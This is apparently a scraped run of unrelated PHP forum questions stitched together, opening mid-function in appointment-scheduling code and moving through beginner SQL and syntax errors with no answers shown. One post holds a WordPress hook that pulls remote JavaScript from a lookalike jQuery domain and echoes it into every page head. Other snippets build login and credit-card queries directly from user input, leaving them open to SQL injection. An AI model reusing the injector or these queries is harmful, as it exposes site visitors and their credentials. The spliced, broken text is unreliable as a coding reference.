$appointment_start->format('H:i'); } // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; $period['end'] = $appointment_start->format('H:i'); } // for the rest of services else{ $period['end'] = $appointment_start->format('H:i'); } } else { if ($appointment_start >= $period_start && $appointment_end >= $period_end && $appointment_start >= $period_end) { // The appointment does not belong in the period so do not change anything. continue; } else { if ($appointment_start <= $period_start && $appointment_end >= $period_end && $appointment_start <= $period_end) { //Open slot for service 45,45,45 if($serviceId == $color1 || $serviceId == $color3 || $serviceId == $color7 || $serviceId == $color9|| $serviceId == $color10 || $serviceId == $color11 || $serviceId == $color12){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } //Open slot for service 45,45,60 else if($serviceId == $color2 || $serviceId == $color8){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+45 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ]; } // //Open slot for service 30,45,45 else if($serviceId == $color4 || $serviceId == $color6 ||$serviceId == $color16 || $serviceId == $color18){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} //Open slot for service 30,45,60 else if($serviceId == $color5 || $serviceId == $color17){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+30 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} // // //Open slot for service 60,45,45 else if($serviceId == $color13 || $serviceId == $color15){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-45 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} // // //Open slot for service 60,45,60 else if($serviceId == $color14 ){ unset($periods[$index]); $period_s= clone $appointment_start; $period_s->modify('+60 minutes'); $period_e= clone $appointment_end; $period_e->modify('-60 minutes'); $periods[] = [ 'start' => $period_s->format('H:i'), 'end' =>$period_e->format('H:i') ];} else{ unset($periods[$index]); } } } } } } } } } return array_values($periods); } Hello all,
Appreciate if you folks could pls. help me understand (and more importantly resolve) this very weird error:
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ASC, purchase_later_flag ASC, shopper1_buy_flag AS' at line 3' in /var/www/index.php:67 Stack trace: #0 /var/www/index.php(67): PDO->query('SELECT shoplist...') #1 {main} thrown in /var/www/index.php on line 67
Everything seems to work fine when/if I use the following SQL query (which can also be seen commented out in my code towards the end of this post) :
$sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id";However, the moment I change my query to the following, which essentially just includes/adds the ORDER BY clause, I receive the error quoted above: $sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master ORDER BY purchased_flag ASC, purchase_later_flag ASC, shopper1_buy_flag ASC, shopper2_buy_flag ASC, store_name ASC) WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id";In googling for this error I came across posts that suggested using "ORDER BY FIND_IN_SET()" and "ORDER BY FIELD()"...both of which I tried with no success. Here's the portion of my code which seems to have a problem, and line # 67 is the 3rd from bottom (third last) statement in the code below: <?php /* $sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id"; */ $sql = "SELECT shoplist.*, store_master.store_name, item_master.item_name FROM shoplist, store_master, item_master ORDER BY FIND_IN_SET(purchased_flag ASC, purchase_later_flag ASC, shopper1_buy_flag ASC, shopper2_buy_flag ASC, store_name ASC) WHERE shoplist.store_id = store_master.store_id AND shoplist.item_id = item_master.item_id"; $result = $pdo->query($sql); // foreach ($pdo->query($sql) as $row) { foreach ($result as $row) { echo '<tr>'; print '<td><span class="filler-checkbox"><input type="checkbox" name="IDnumber[]" value="' . $row["idnumber"] . '" /></span></td>';Thanks Hi all, I'm very new to the wonderful world of php, so I'd appreciate any and all help in the matter. I've greatly simplified the code below to hopefully help you in helping me. Thanks! Ok, so I'm integrating a very simple message board feature into my site. The basic idea is that people post a comment, and have the option of replying to existing comments. I'm definitely not looking for a complete forum; just something that allows users to post and reply. I've tackled the posting bit easily enough. I have a form. Users fill in the form and the message, along with user information, is sent to a MySQL database. The information includes the username(Poster), the message(Message), an id that corresponds to the topic in question(Messid), a unique ID code for the message itself (ID), and a number of other variables like date and rank. I then use a while statement to bring up all of the messages that pertain to a particular topic; The output will only show messages that share the same Messid, and they are arranged in terms of descending ID: Code: [Select] <? while($row = mysql_fetch_array($resultcomments)) { $poster=$row['Poster']; $message= $row['Message']; $ID=$row['ID']; echo $message.$poster.$ID; } So far, so good. What I want is for users to be able to click on any one of the particular messages, and post a response comment that will appear directly below the message to which it responds. Any ideas how I might go about such a task? So far, I've created a new MySQL table that corresponds to these "subcomments". Each subcomment has a "subID" that corresponds to the ID of the message to which it responds. By including a while statement within the while statement above, I can successfully list all of the subcomments that correspond to a message directly below it. The problem, of course, is that I have to insert the subID values manually in php_my_admin. I'm hoping there's a way for php to automatically detect the ID value of the message in question... Many many thanks for any assistance I can get. Once this revolution in communication makes me a billionaire, I will be certain to reward you most properly. Thanks again.
Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you! SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good. I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong? This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=344105.0 Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?>
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me <?php session_start(); ?> <?php error_reporting (E_ALL ^ E_NOTICE); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="style.css" rel="stylesheet" type="text/css" /> <link href="tablefiestas.css" rel="stylesheet" type="text/css" /> <title>La Taverna de Juan</title> </head> <body> <div id="container"> <div id="header"> <!--MENU BAR--> <?php include("includes/db.php"); ?> </div> <!--VIDEOS--> <?php $query = ("SELECT * from videos"); $result = mysqli_query($connection,$query); $num_per_page =05; ?> <table border="1" width="100%"> <tr> <td>Video Id</td> <td>Titulo</td> <td>Video</td> </tr> <tr> <?php while ($row=mysqli_fetch_assoc($result)) { $videoid = $row['videoid']; $titulo = $row['titulo']; $url_video = $row['url_video']; ?> <td><?php echo $videoid ?></td> <td><?php echo $titulo ?></td> <td><?php echo $url_video ?></td> </tr> <?php}?> </table> <?php $query = "SELECT * from videos"; $pr_result = mysqli_query($connection,$query); $totalrecord = mysqli_num_rows($pr_result); echo $totalrecord; ?> <br> <div id="footer"> <!--FOOTER--> <?php include("includes/footer.inc.php"); ?> </div> </div> </body> </html> Edited November 18, 2019 by Psycho Added code tags |